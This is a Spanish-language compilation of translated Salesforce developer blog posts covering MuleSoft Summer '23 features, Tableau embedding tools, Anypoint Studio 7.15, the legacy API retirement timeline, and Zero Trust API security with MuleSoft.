  • Documente, gobierne y publique cualquier API en la empresa creada en cualquier puerta de enlace o entorno
  • Acceda a información sobre el uso, la calidad y el cumplimiento de las API con análisis contextuales

Los clientes podrán impulsar la adopción de API y crear un ecosistema de API vibrante al proporcionar un único punto de acceso a todas las API empresariales (construidas en MuleSoft o de otro modo) en una experiencia atractiva.

API Experience Hub está planeado para GA en junio de 2023.

Nuevas funciones de gobernanza de API: GA en julio de 2023

En 2022, se lanzó Anypoint API Governance. Nos ayudó a crear API de calidad mientras cumplíamos con los protocolos de seguridad y gobernanza. Actualmente, podemos identificar si la especificación API es conforme o no conforme y alertar a los usuarios si hay algún problema de conformidad.

En Summer '23, ampliaremos aún más las capacidades de API Governance a todos los aspectos del ciclo de vida de la API, desde el diseño de la API en el Centro de diseño hasta la implementación y administración de la API en API Manager. Con un gobierno de extremo a extremo, las organizaciones podrán garantizar que las API cumplan con las normas de cumplimiento y de la industria.

Nuevas funciones de Anypoint Studio 7.15: disponibilidad general en mayo de 2023

Con el fin de optimizar el rendimiento de Anypoint Studio y ofrecer una experiencia de integración perfecta, las siguientes funciones nuevas estarán disponibles para los desarrolladores. Le recomendamos que descargue la última versión de Anypoint Studio y pruebe las nuevas funciones:

  • Soporte ARM nativo: rendimiento más rápido para usuarios en macOS
  • Opciones para excluir archivos de Studio de Windows Defender: rendimiento y estabilidad más rápidos para los usuarios de Windows
  • Implementación mejorada a CloudHub 2.0
  • Experiencia de importación mejorada desde Design Center

Conclusión

¡Esperamos que esté tan entusiasmado como nosotros con estas funciones! Si desea tenerlos en sus manos, simplemente inicie sesión en la cuenta de prueba gratuita de 30 días de Anypoint Platform y vea estos nuevos lanzamientos y herramientas.

Aprende MOAR

Nuestros gerentes de producto y defensores de desarrolladores están de vuelta para compartir las últimas características y funcionalidades que llegarán en Summer '23. Para ayudarlo a desarrollarse más rápido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas funciones favoritas. ¡Asegúrese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo último en el blog de desarrolladores de Salesforce para conocer más innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

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Otras lecturas

Sobre el Autor

Akshata Sawant es promotora sénior de desarrolladores en Salesforce. Es autora, bloguera y oradora, y coautora del título, MuleSoft for Salesforce Developers . Akshata es un miembro activo de la comunidad de MuleSoft y ex embajador de MuleSoft. Le encanta leer, bailar, viajar y la fotografía, y es una gran entusiasta de la comida. Síguela en Twitter y LinkedIn.

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Innovaciones de Tableau para desarrolladores | Aprende Moar Verano '23 ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Innovaciones de Tableau para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

¡Únase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizarán y demostrarán las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisión, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesión de desarrolladores. ¿No puedes unirte a nosotros en vivo? La grabación se publicará unas horas después de que finalice la transmisión.

Introducción

Tableau lanzará muchas innovaciones nuevas e interesantes para los desarrolladores en Summer '23, incluido Tableau Embedding Playground, una colección de Postman para la API REST de Tableau y una nueva forma de personalizar y personalizar las vistas integradas en función de los atributos del usuario para las aplicaciones integradas.

Comience con el análisis incorporado

Si conoce Tableau, entonces sabe que puede crear visualizaciones poderosas (visualizaciones, para abreviar) que ayudan a las personas a ver y comprender sus datos. Si está creando una aplicación web, es posible que desee agregar visualizaciones relevantes de Tableau a su aplicación para mejorar la información que ofrece a sus clientes.

Tableau facilita la inserción de visualizaciones al proporcionar un botón Copiar código incrustado , que está disponible al hacer clic en el botón Compartir en la barra de herramientas de Tableau. Puede usar ese código para insertar una visualización de Tableau en una página web.

El código que obtiene del botón Copiar código incrustado es solo un punto de partida. ¿Qué sucede si desea filtrar la visualización en función de quién está viendo la página? Para crear una rica experiencia de análisis integrado para sus usuarios, debe usar Tableau Embedding API v3 . Con la API de inserción, puede aplicar filtros, establecer parámetros, recopilar datos que utiliza para impulsar otras acciones o agregar interfaces personalizadas para interactuar con la visualización.

OK, así que le gustaría ver lo que es posible. Pero si no está familiarizado con la API de incrustación, esto podría significar aprender una nueva biblioteca de JavaScript, leer páginas de material de referencia de la API y otra documentación, y luego configurar un entorno de desarrollo, solo para verificar algunas cosas. Ahora, hay una manera más fácil.

Bienvenido al patio de recreo

Tableau Embedding Playground le facilita el aprendizaje y la exploración de análisis integrados y la API de integración de Tableau. Todo lo que tiene que hacer es proporcionar la URL de la vista de Tableau que desea incrustar, personalizar la visualización, agregar las interacciones que desea probar y luego hacer clic en Ejecutar .

Nota: esta versión de acceso anticipado de Embedding Playground utiliza un libro de trabajo de muestra. Los fragmentos de código que agregan interacciones a la visualización integrada están optimizados para funcionar con esta muestra. Se han completado los nombres de las hojas de trabajo y las variables. Puede usar el Editor de código para editar el código JavaScript. Para esta versión, el panel HTML es de solo lectura, por lo que puede concentrarse por completo en personalizar y agregar interactividad a la visualización en Playground, sin tener que preocuparse por el estilo y el CSS.

El Embedding Playground tiene tres secciones principales:

  • El panel Vista previa , donde puede ver la visualización incrustada y los resultados de su código cambian cuando hace clic en Ejecutar
  • La vista Código , donde puede ver el código JavaScript y HTML que incrusta la visualización de Tableau.
  • El panel de control de la izquierda , donde configura la URL para la vista incrustada y sus propiedades de visualización, como el tamaño y la posición de la barra de herramientas, y donde también puede agregar interacciones, que vienen en forma de fragmentos de código que arrastra y suelta en el Panel JavaScript.

Personaliza el código

Embedding Playground usa Tableau Embedding API v3 para insertar la visualización en el panel de vista previa. La API de incrustación utiliza componentes web y proporciona un elemento HTML que representa la visualización de Tableau. Puede colocar este componente web ( <tableau-viz> ) en su página web como lo haría con cualquier elemento HTML, como una etiqueta <div> o <p> . El panel HTML en la vista Código muestra este componente web.

Este código HTML y un enlace a la biblioteca de la API de incrustación son todo lo que necesita para colocar una visualización de Tableau en una página web. Esto es esencialmente lo que obtiene si usa el botón Copiar código incrustado en Tableau Cloud. Pero hay mucho más que puede hacer, y Embedding Playground lo hace fácil.

<dx-code-block title language code-block="

 
 

«>

Supongamos que queremos aplicar un filtro a la visualización, de modo que solo muestre información que sea de interés para un conjunto específico de usuarios, o que destaque un punto que está tratando de resaltar (como mostrar ciertos lugares en un mapa, o conjuntos particulares de datos).

Con el componente web <tableau-viz> , tenemos acceso a la vista integrada de Tableau, o lo que llamamos el objeto Tableau viz. Si está familiarizado con Tableau, sabrá que un libro de trabajo de Tableau consta de hojas de trabajo, tableros e historias. O más exactamente, un libro de trabajo contiene un montón de hojas, algunas de las cuales son hojas de trabajo, algunas son tableros y otras son historias. Desde el objeto de visualización, podemos acceder al libro de trabajo y a todas las hojas de trabajo y tableros dentro del libro de trabajo. Para cada tipo de hoja, ciertas propiedades están disponibles y hay API (o métodos) específicos a los que puede llamar.

Usando el Embedding Playground, no tienes que memorizar todo eso. Digamos que su vista incrustada es un tablero. Si desea aplicar un filtro a la vista, simplemente haga clic en Agregar interacciones , haga clic en Tablero , haga clic en Filtros y luego arrastre y suelte la tarjeta Aplicar filtro en el panel de JavaScript, justo debajo de *** ¡Inserte su código a continuación! *** comentario.

En esta versión de acceso anticipado, el fragmento de código Aplicar filtro tiene el siguiente aspecto, con el nombre del filtro y sus valores ya completados. Cuando se publique Embedding Playground, los fragmentos de código tendrán marcadores de posición que se reemplazan con los nombres de filtro y valores para su viz. Tenga en cuenta que el Editor de código está en pleno funcionamiento, por lo que puede modificar los valores (cambiar o agregar diferentes estados). Darle una oportunidad. Haga clic en Ejecutar y vea los resultados.

Ven al Playground para enterarte de las novedades

Los desarrolladores de Tableau están ocupados trabajando en nuevas funciones para mejorar el análisis integrado. A medida que se introduzcan nuevos métodos y propiedades, primero se anunciarán en el Programa para desarrolladores y se resaltarán en el Área de juegos de incrustación. Si es un desarrollador experimentado, Embedding Playground podría ser un útil borrador para probar nuevas ideas y trabajar con nuevas API a medida que se presentan. Con Playground, puede probar rápidamente métodos nuevos y existentes y verificar su código sin la sobrecarga de iniciar un nuevo proyecto.

En versiones futuras de Embedding Playground, podrá proporcionar las URL para sus propias visualizaciones y usar Playground como una aplicación conectada , que ofrece una experiencia de autenticación segura y sin problemas basada en relaciones de confianza y con creación web integrada. Además, agregaremos nuevos fragmentos de código para proporcionar plantillas para las interacciones.

Use el código de Playground para impulsar el desarrollo

Puede usar la barra de menú de botones para descargar o copiar el código. El código descargado o copiado está contenido en un solo archivo HTML. Este archivo contiene el código HTML que define el componente web <tableau-viz> y el código JavaScript que agregó cuando agregó interacciones. Puede utilizar este código como punto de partida para desarrollar sus aplicaciones integradas. O copie el código para su necesidad de interacciones específicas, como filtrar la visualización, establecer parámetros o agregar menús contextuales personalizados. Para obtener más información sobre el uso del código para incrustar, consulte los documentos de Tableau Embedding API v3 .

¿Ya leíste lo suficiente? ¡Pruebe Tableau Embedding Playground ahora y permanezca atento a más información!

Colección Tableau Postman (API REST)

Si alguna vez usó la API REST de Tableau , sabe que es una parte esencial de la gestión y administración de usuarios y contenido en Tableau Cloud y Tableau Server. Con la API REST de Tableau, puede hacer mediante programación todo lo que puede hacer con la interfaz de usuario en los sitios de Tableau Server y Tableau Cloud. La API utiliza el conocido protocolo de comunicaciones cliente-servidor a través de HTTP, utilizando solicitudes web estándar. Puede consultar y configurar recursos, establecer permisos y controlar el acceso.

Probablemente también sepa que configurar una sesión para enviar esas solicitudes no siempre es fácil. Conectarse al servidor, autenticarse y adquirir los tokens de acceso para comunicarse con Tableau Server o el sitio de Tableau Cloud puede ser algo complicado. Particularmente si solo está interesado en encontrar rápidamente el nombre de una fuente de datos o buscar un identificador de recurso. Una de las herramientas a las que recurren las personas para generar solicitudes HTTP para puntos finales REST es Postman, una aplicación que puede descargar o usar en un navegador que facilita la creación de solicitudes y el almacenamiento de esas solicitudes en colecciones. La buena noticia es que ahora no necesitas empezar de cero.

Los desarrolladores de Tableau han creado una colección de Postman para la API de REST de Tableau que está disponible junto con las otras colecciones para las API de Salesforce en el espacio de trabajo de Postman del desarrollador de Salesforce . Ya no necesita buscar en la documentación de la API ni recurrir a prueba y error para crear sus propias solicitudes. El espacio de trabajo del cartero del desarrollador de Salesforce tiene el conjunto completo de puntos finales de la API REST de Tableau por los que puede navegar y elegir los que necesita usar. Postman te permite definir y guardar las variables que necesitas para tu conexión. También puede usar Postman para generar las solicitudes en diferentes lenguajes de programación como Python, JavaScript y cURL, de modo que pueda incorporar la solicitud en scripts o en sus aplicaciones integradas.

Puede encontrar más información sobre la API REST de Tableau y lo que la colección Postman puede hacer por usted en la publicación de blog de Stephen Price, Use la API REST de Tableau con Postman para diseñar integraciones.

Funciones de atributo de usuario

La entrega de información personalizada y personalizada es uno de los principales objetivos cuando se integran visualizaciones de Tableau en aplicaciones web. Desea asegurarse de que los usuarios que usan su aplicación tengan la mejor experiencia posible y tengan acceso a la información que no solo es relevante para sus necesidades, sino que también son datos que pueden ver.

Con ese fin, Tableau introdujo dos nuevas funciones de usuario ( USERATTRIBUTE y USERATTRIBUTEINCLUDES ) que brindan un nuevo nivel de personalización y control cuando crea aplicaciones integradas que usan aplicaciones conectadas a Tableau para la integración de aplicaciones. A partir de Tableau 2023.1, cuando autoriza el acceso a contenido incrustado mediante aplicaciones conectadas, ahora puede pasar atributos de usuario en el token web JSON (JWT). Para obtener más información, consulte: Controlar y personalizar el acceso a datos mediante atributos de usuario .

Usted define cuáles son estos atributos de usuario y, según su organización, podrían ser atributos basados en roles de trabajo, departamentos, nivel de gestión, autorización de seguridad, pertenencia a grupos, etc. Estos atributos de usuario siguen el modelo de control de acceso basado en atributos (ABAC), que le brinda flexibilidad en la forma en que diseña sus aplicaciones web. Por ejemplo, podría crear un único portal web que sirva a diferentes grupos proporcionando diferentes vistas de esos datos en función de los atributos. Para ver cómo puede aplicar estos atributos en los libros de trabajo de Tableau, consulte Funciones de usuario: solo para incrustar flujos de trabajo en la nube . Cuando crea vistas en Tableau, los atributos de usuario le dan la opción de agregar filtros de seguridad de nivel de fila a las vistas que incrusta en las aplicaciones web.

Para obtener una excelente descripción general de cómo puede utilizar los atributos, consulte la publicación de blog:Desbloquee el poder de los análisis personalizados con funciones de atributos de usuario. Y para obtener experiencia práctica, consulte el tutorial: Tutorial de funciones de atributos de usuario .

Conclusión

Desde usuarios nuevos hasta desarrolladores experimentados, Tableau Embedded Playground facilita que todos desarrollen código para soluciones de análisis integradas. La colección de Postman para la API REST de Tableau puede ahorrarle tiempo y esfuerzo al encapsular el conjunto completo de terminales REST de Tableau en una interfaz fácil de usar y agregar atributos de usuario a sus aplicaciones integradas para brindar una experiencia más personalizada y segura para su usuarios

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Sobre el Autor

Dave Hagen trabaja como redactor técnico en el equipo de experiencia de contenido de Salesforce. Escribe documentación para la plataforma de desarrollo de Tableau y el análisis integrado. Puedes encontrarlo en LinkedIn .

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Anuncio de MuleSoft Anypoint Studio 7.15 con mayor rendimiento y facilidad de uso ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

anunciamos MuleSoft Anypoint Studio 7.15 con mayor rendimiento y facilidad de uso | Blog de desarrolladores de Salesforce

¡MuleSoft se complace en anunciar la disponibilidad general de Anypoint Studio 7.15 ! Con Anypoint Studio , los desarrolladores tienen acceso a un IDE de escritorio para la integración y el desarrollo de API que incluye módulos prediseñados para requisitos de integración comunes.

En MuleSoft, nuestro objetivo es capacitar a los equipos para automatizar los flujos de trabajo, brindar experiencias a los clientes y ser más productivos. Con Studio 7.15, continuamos con este compromiso. Hemos mejorado la experiencia del desarrollador y mejorado el rendimiento de Studio en todos los ámbitos. También fortalecimos la experiencia de importación de activos y agregamos más a las opciones de implementación de CloudHub. Siga leyendo para conocer algunos de los aspectos más destacados de esta versión.

Escuchamos continuamente los comentarios de la comunidad de MuleSoft para ayudarnos a mejorar nuestros productos. Algunas de las principales solicitudes de Anypoint Studio son la capacidad de incluir en la lista de permitidos los archivos de Studio de los análisis antivirus y brindar soporte nativo para la arquitectura centrada en ARM. Hemos añadido ambos.

En 7.15, agregamos la opción para que los desarrolladores excluyan los archivos de Studio del antivirus de Microsoft Defender. Esto ayudará a mejorar tanto el rendimiento como la estabilidad, lo que permitirá a nuestros usuarios ser más productivos. Para aquellos en Windows, Studio ahora será aún más receptivo y estable.

Además, Studio ahora admite de forma nativa la arquitectura centrada en ARM. Esto significa más rendimiento y mayor estabilidad para los usuarios en sistemas como macOS.

Con estas dos adiciones, estamos ayudando a nuestros usuarios a experimentar un Studio más rápido y más estable, en los principales sistemas operativos.

Cuando se trata de hacer que los desarrolladores sean productivos, los detalles importan. No basta con facilitar el desarrollo, la depuración y la implementación. Los trabajos complementarios, como la importación de artefactos y la búsqueda de contexto, también son importantes.

Hoy, importar desde Design Center es más fácil. Los desarrolladores ahora obtendrán los siguientes detalles y capacidades al importar fragmentos y especificaciones de API desde Design Center:

  • Tipo de activo mostrado
  • Se muestra la fecha en que se actualizó el activo por última vez
  • Capacidad de búsqueda mejorada

Con la capacidad de buscar fragmentos y especificaciones en Design Center de Studio, los usuarios ahora pueden pasar menos tiempo buscando los activos que necesitan y más tiempo creando flujos de trabajo.

En Studio 7.14, brindamos a los usuarios la capacidad de implementar en CloudHub 2.0 . Con Studio 7.15, estamos mejorando esa capacidad.

Ahora, los usuarios pueden implementar y volver a implementar una aplicación Mule en CloudHub 2.0, incluso si tiene el mismo nombre y destino que una existente en CloudHub 2.0. Esto es particularmente útil para volver a implementar después de realizar cambios en una aplicación Mule. Como resultado, los desarrolladores pueden pasar menos tiempo lidiando con los matices de la implementación.

Con la GA de nuestra última versión de Anypoint Studio, estamos entusiasmados de ver que los desarrolladores y los equipos se vuelven aún más productivos a medida que crean integraciones y API. Descargue Anypoint Studio 7.15 hoy y díganos lo que piensa.

Srini Sekaran es responsable de gestión de productos para varios productos, incluido Anypoint Studio, el IDE de MuleSoft que miles de desarrolladores utilizan a diario para crear integraciones potentes.

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Una actualización importante de nuestro plan de jubilación Legacy API ☁️

Una actualización importante de nuestro plan de jubilación Legacy API ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Una actualización importante de nuestro plan de jubilación Legacy API | Blog de desarrolladores de Salesforce

En 2021, anunciamos unplan para retirar las versiones heredadas de la API de la plataforma anualmente, de modo que nuestros equipos de ingeniería pudieran centrar sus esfuerzos de desarrollo en mejorar las últimas versiones de la API para mejorar la experiencia general de Salesforce al crear funciones personalizadas a través de aplicaciones. En esta publicación, compartiremos una actualización importante del plan de retiro de la API heredada, algunos consejos sobre cómo identificar el uso de la API heredada y cómo actualizar esas solicitudes de API.

Actualización importante del plan de jubilación de la API heredada

La última fase del plan de retiro de la API heredada se anunció a principios de 2022 y entró en vigencia durante el lanzamiento de Summer '22. Con esta versión, dejamos de usar las versiones SOAP, REST y Bulk API que van de la 21.0 a la 30.0. Como parte de nuestro plan original, estas versiones de API ya no serían compatibles, pero permanecerían disponibles hasta que las retiremos en la versión Summer '23.

Luego de consultar con la comunidad y nuestros socios, decidimos retrasar el próximo retiro de la API al lanzamiento de Summer '25 para garantizar una transición sin problemas (consulte el artículo de conocimientos ). Debido a esta extensión, las versiones de API 21.0 a 30.0 aún no son compatibles, pero seguirán estando disponibles hasta el lanzamiento de Summer '25.

Desde Summer '21 , cada vez que realiza una llamada a una API heredada con REST o Bulk API, verá un encabezado Warning en la respuesta con un mensaje que describe el problema como este:

Una vez que las versiones heredadas de la API se retiren en Summer '25, las solicitudes a esas versiones fallarán con los siguientes errores:

  • La API REST devolverá el estado HTTP 410: GONE
  • La API SOAP devolverá el estado HTTP 500: UNSUPPORTED_API_VERSION
  • La API masiva devolverá el estado HTTP 400: InvalidVersion

Ahora que conoce el último plan, veamos cómo puede identificar si se ve afectado y cómo.

Identificar el uso de la API heredada

Puede verificar las llamadas API heredadas usted mismo en cualquier momento, y hay varias formas de hacerlo.

Todas las transacciones de la API de Salesforce se registran en los registros de Monitoreo de eventos. El monitoreo de eventos normalmente requiere una licencia específica, pero hemos expuesto el evento Uso total de la API ( ApiTotalUsage ) a todos los clientes de forma gratuita, para que pueda monitorear el consumo de la API heredada e identificar los clientes y las integraciones que deben actualizarse. Las organizaciones habilitadas para API tienen acceso gratuito a los archivos de registro de eventos de uso total de API con retención de datos de 1 día. Con el Monitoreo de eventos habilitado, puede acceder a este y a todos los demás tipos de archivos de registro de eventos con una retención de datos de 30 días.

Los registros contienen campos clave que guían sus investigaciones:

  • Los clientes proporcionan CLIENT_NAME opcionalmente, pero es especialmente útil para identificar aplicaciones e integraciones que realizan llamadas API que requieren investigación y ajustes. Compartiremos más sobre este campo en la última sección de esta publicación.
  • CONNECTED_APP_ID le dice qué aplicación conectada está en el origen de las llamadas a la API.
  • USER_ID y CLIENT_IP son útiles para identificar el origen de las llamadas API heredadas, pero existe la posibilidad de que estos valores se compartan entre varias aplicaciones en caso de que se realice una cuenta técnica de usuario/sistema (ID de usuario compartido) o llamadas desde una ubicación de oficina física ( dirección IP compartida). Compartiremos cómo usar la nueva licencia de usuario de integración para abordar los problemas de usuarios compartidos en la última sección de esta publicación.
  • Los campos API_FAMILY , API_VERSION , API_RESOURCE , URI y HTTP_METHOD le brindan pistas valiosas sobre el tipo de operaciones que realizan los clientes API.

Compartimos varias herramientas para acceder a los registros en nuestra publicación anterior , y también puede usar herramientas de terceros para automatizar esta tarea. Compartiremos una opción adicional que puede ser relevante para los usuarios preocupados por ejecutar código de terceros con acceso API a su organización.

Uso de Postman para identificar el uso de la API heredada

Puede utilizar la colección Postman de las API de la plataforma de Salesforce para inspeccionar sus registros de Salesforce con estos pasos:

  • Configure la colección Postman y autentíquese en su organización .
  • Enumere los archivos de registro que rastrean el acceso a la API:
    1. Seleccione REST > Solicitud de consulta .
    2. Reemplace el valor del parámetro de consulta q con la siguiente consulta SOQL: SELECT LogFile, EventType, CreatedDate FROM EventLogFile WHERE EventType IN ('API', 'RestApi', 'BulkApi', 'ApiTotalUsage')
    3. Haz clic en Enviar.
    4. Recupere los ID del archivo de registro de la respuesta.

  • Para cada archivo de registro devuelto en el paso anterior, recupere y escanee el contenido del registro:
    1. Seleccione REST > Registros > Obtener solicitud de archivo de registro de eventos .
    2. Establezca el ID del archivo de registro en el valor de la variable de ruta id .
    3. Haz clic en Enviar.
    4. Lea el contenido del archivo de registro en la respuesta. Puede moverse a la pestaña Respuesta sin procesar y guardarla como un archivo CSV o usar la pestaña Visualizar para obtener una vista previa del contenido directamente en Postman.
    5. Mire la columna URI o API_VERSION y verifique las versiones de API heredadas (versiones 30.0 y anteriores).

Después de identificar que está llamando a versiones de API heredadas, el siguiente paso es actualizar estas dependencias a versiones de API heredadas.

Actualizar dependencias a versiones de API heredadas

El procedimiento de actualización depende del tipo de API que esté utilizando, pero aquí hay una breve descripción general de lo que se requiere:

  • Para llamadas API basadas en SOAP, genere un nuevo WSDL e incorpórelo a la integración afectada
  • Para puntos finales REST, actualice el número de versión en el URI a la versión principal actual
  • Aunque puede actualizar de manera similar los URI para puntos finales /async en el caso de Bulk API, la forma más gratificante de actualizar las llamadas heredadas es adoptar Bulk API 2.0 y disfrutar del flujo de trabajo más simple y los límites mejorados.

Tenga en cuenta que las aplicaciones (p. ej., el cargador de datos) y los paquetes también pueden estar realizando llamadas API heredadas debido a bibliotecas obsoletas (conectores de servicios web, kit de herramientas AJAX, interfaz COM SForceOfficeToolkit o kit de herramientas Force.com para PHP, solo por nombrar algunos) . Asegúrate de actualizarlos también.

Y recuerda: no importa el cambio, asegúrate de realizar pruebas de regresión para asegurarte de que todo funciona como se esperaba.

Preparándonos para el futuro

Ya sea que se haya visto afectado por el plan de jubilación heredado o no, debe planificar el futuro retiro de la versión API. Le dejaremos algunas prácticas recomendadas para el gobierno de API.

Aproveche las licencias de usuario de la integración de Salesforce

En Spring '23, presentamos un nuevo tipo de licencia dedicado a las integraciones: la licencia de usuario de Integración de Salesforce . Esta nueva licencia se basa en el principio de acceso con privilegios mínimos y le permite crear usuarios solo de API para integraciones de sistema a sistema con derechos de acceso específicos. La principal ventaja de este nuevo tipo de licencia es la seguridad, pero también permite un mejor seguimiento de las acciones de integración, ya que podrá asignar distintos usuarios solo de API a la integración y relacionar las llamadas de API de integración con ID de usuario específicas en sus registros.

Se incluyen cinco licencias de usuario de Integración de Salesforce en cada organización Enterprise, Unlimited y Performance Edition. También puede comunicarse con su ejecutivo de cuenta si necesita más.

Especifique un nombre de cliente al crear integraciones de API REST

Al crear nuevas integraciones con la API REST, asegúrese de especificar un nombre de cliente utilizando el encabezado de solicitud Sforce-Call-Options de la siguiente manera:

Sforce-Call-Options: client=myClientName

El nombre del cliente que especifique en el encabezado estará visible en los registros en el campo CLIENT_NAME . Esto le ayuda a depurar y auditar las llamadas a la API de integración.

palabras de cierre

Esperamos que este retraso adicional en nuestro plan de retiro de API heredado permita una transición sin problemas, y lo alentamos a que comience hoy, independientemente de la nueva fecha límite. Migrar a versiones de API más nuevas siempre es una apuesta segura para obtener acceso a nuevas capacidades y mejorar el rendimiento y la seguridad.

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

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Seguridad Zero Trust para tus APIs usando MuleSoft ☁️

Seguridad Zero Trust para tus APIs usando MuleSoft ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Seguridad Zero Trust para sus API con MuleSoft | Blog de desarrolladores de Salesforce

Roma no se construyó en un día… pero casi se arruinó en una noche. Eso es lo que tienen los imperios, son frágiles. Al igual que la confianza. Podemos extender aún más esta analogía a nuestra arquitectura empresarial; se necesita mucho tiempo y un gran esfuerzo para construir una organización exitosa y ganarse la confianza del cliente, pero un percance de seguridad puede reducir todos los escombros de sus esfuerzos.


En 2022, todos escuchamos sobre la filtración del juego GTA 6 justo antes de su fecha de lanzamiento. Esta filtración fue lo suficientemente grande como para poner en problemas financieros al editor del juego, y hubo especulaciones de que una persona interna, como un empleado, estaba involucrada. Entonces la pregunta es: "¿A quién debemos confiar con la seguridad?" La seguridad es tan fuerte como el eslabón más débil.

Y la respuesta es: “No confíes en nadie”, y eso es lo que nos lleva a Zero Trust Security (ZTS) .

ZTS es un marco arquitectónico que tiene como objetivo proteger a las organizaciones de amenazas de seguridad, ataques y violaciones de datos al cumplir con los protocolos de seguridad en cada punto de acceso.

Antes de ZTS, la seguridad basada en el perímetro era el enfoque popular. En la seguridad perimetral, autenticamos y autorizamos a la entidad solo a nivel periférico mediante firewalls, redes privadas virtuales, etc. Una vez que la entidad obtiene acceso, puede acceder a todos los recursos. El movimiento lateral no autorizado ha sido una de las principales preocupaciones en la seguridad perimetral.

Por el contrario, ZTS impone autenticación y autorización en cada punto de entrada. En general, podemos aplicar ZTS a aplicaciones empresariales, aplicaciones nativas de la nube, API, etc. En esta publicación de blog, nos centraremos principalmente en implementar ZTS para API y explorar lo que MuleSoft tiene para ofrecer en lo que respecta a Zero Trust Security.

Principios básicos de ZTS

Todo el concepto de ZTS se basa en los siguientes cuatro principios básicos:

  • No confíe en nadie y verifique siempre : independientemente de la persona (cliente, director ejecutivo, desarrollador, etc.), autenticamos y autorizamos su acceso en cada etapa. Si hay múltiples puntos de entrada para obtener acceso a un recurso en particular, debemos aplicar la validación en cada punto de entrada. Utilizamos Gestión de Identidad y Acceso (IAM) y autenticación multifactor (MFA), y aplicamos políticas de seguridad.
  • Mínimos privilegios y denegación predeterminada : De forma predeterminada, se denegará el acceso a todos los recursos. Una vez que la entidad está autenticada y autorizada, según la credencial, podemos otorgar acceso con los privilegios mínimos. Necesitamos asegurarnos de que estamos autorizando solo los recursos esenciales. Podemos controlar el acceso para diferentes roles utilizando el modelo de acceso basado en roles y modificar los privilegios en consecuencia.
  • Inspección completa y visibilidad del flujo de datos : debemos asegurarnos de que haya transparencia en el flujo de datos. Debemos tener cuidado con el registro de la carga útil, ya que podría involucrar información confidencial. Si hay múltiples sistemas finales y API involucrados, deberíamos tener una visión general de 360 grados de la arquitectura del sistema y el flujo de datos. De esta forma, podemos controlar el mal uso de información sensible y la fuga de información.
  • Gestión de control centralizado: Para implementar fuertes medidas de seguridad, necesitamos un centro de gestión centralizado. Esto nos permitirá aplicar medidas de seguridad en todas las entidades. También nos da un control completo sobre la infraestructura de la organización desde una perspectiva de seguridad. API Manager es un lugar para dejar de administrar aplicaciones API, Mule y Non-MuleSoft. Puede administrar, proteger y gobernar aplicaciones con la ayuda de API Manager.

Implementación de seguridad de confianza cero

Es muy probable que su infraestructura existente ya tenga algunas medidas de seguridad implementadas. Para implementar ZTS, no tiene que comenzar a construir todo desde cero o reconstruir su infraestructura de seguridad existente. Todo lo que necesita hacer es planificar bien las medidas de seguridad e identificar las lagunas. Puede lograr esto adoptando un enfoque de microsegmentación o seguridad en capas.

Microsegmentación o enfoque de seguridad en capas

Esta es una técnica en la que dividimos la infraestructura en niveles o segmentos y luego aplicamos medidas de seguridad. También podemos considerarlo como "divide y vencerás", donde estamos dividiendo la gran infraestructura en fragmentos más pequeños para una mejor seguridad y control. Este enfoque nos brinda seguridad a nivel granular.

Podemos implementar los principios básicos de ZTS de la siguiente manera:

  1. Enumere todos los activos, sistemas finales, aplicaciones, datos y puntos finales de API. Comprobar el estado del dispositivo y del sistema. Implemente la autenticación de extremo a extremo y no permita el acceso lateral.
  2. Resuma el flujo de datos y las conexiones. Diseñe su infraestructura actual.
  3. En función de la criticidad de la información, identificar las políticas de seguridad a aplicar en cada punto de entrada. Implemente el acceso basado en roles y políticas.
  4. Haga cumplir la implementación de seguridad a través de un sistema de gestión central y supervise su infraestructura.

ZTS con MuleSoft

Es posible que ya esté familiarizado con las capacidades de integración de MuleSoft y cómo aprovechar la conectividad dirigida por API para construir una infraestructura componible. Lo siguiente lo ayudará a comprender cómo implementar ZTS usando las capacidades de seguridad de MuleSoft.

Tomemos en consideración una arquitectura componible creada con conectividad dirigida por API (vea la imagen a continuación). La línea exterior punteada en rojo denota seguridad basada en el perímetro, ya que estamos aplicando seguridad en un nivel periférico. Para aplicar ZTS, aplicaremos medidas de seguridad en cada capa de la API y en todo el punto final de la API. Las líneas internas de puntos rojos en la capa de proceso indican que hemos aplicado una política de eliminación de encabezado y autenticación básica en el punto de entrada de la capa de experiencia a la capa de proceso.


¿Cómo logramos ZTS con MuleSoft?

  1. Aplicación de políticas de seguridad listas para usar: MuleSoft ofrece varias políticas de seguridad listas para usar, desde la autenticación básica hasta OAuth y JWT. Podemos aplicar fácilmente estas políticas en nuestro nivel de puerta de enlace API utilizando Anypoint API Manager . También podemos personalizar estas políticas para cumplir con los estándares y regulaciones de nuestra organización.
  2. Creación de entornos seguros: podemos aplicar la protección contra amenazas en cada perímetro perimetral de forma automática mediante Anypoint Security en una plataforma que cumpla con las normas ISO 27001, SOC 1 y 2, HIPAA, PCI DSS y GDPR.
